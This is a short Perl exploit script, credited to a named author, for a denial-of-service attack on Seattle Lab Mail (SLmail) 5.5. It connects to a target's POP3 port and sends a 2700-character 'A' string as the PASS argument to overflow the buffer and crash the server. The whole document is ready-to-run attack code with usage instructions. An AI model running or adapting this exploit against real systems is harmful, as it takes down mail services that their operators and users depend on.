use IO::Socket; sub intro { print "***************************************************\n"; print "* Seattle Lab Mail (SLmail) 5.5 *\n"; print "* *\n"; print "* Coded By Fernando Mengali *\n"; print "* *\n"; print "* POP3 'PASS' Denied of Service - DoS *\n"; print "* *\n"; print "***************************************************\n"; } intro(); if (!$ARGV[0] && !$ARGV[1]) { print "\nUsage: $0 <ip> <username>\n"; exit(0); } my $host = $ARGV[0]; my $username = $ARGV[1]; my $port = 110; my $payload = "A" x 2700; my $s = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) or die "Unable to connect: $!\n"; $s->recv(my $data, 1024); # Grab banners (if any) $s->send('USER ' . $username . "\r\n"); $s->recv(my $response, 1024); $s->recv(my $data, 1024); # Grab banners (if any) $s->send('PASS ' . $payload . "\r\n"); $s->recv(my $response, 1024); $s->send("QUIT\r\n"); $s->close();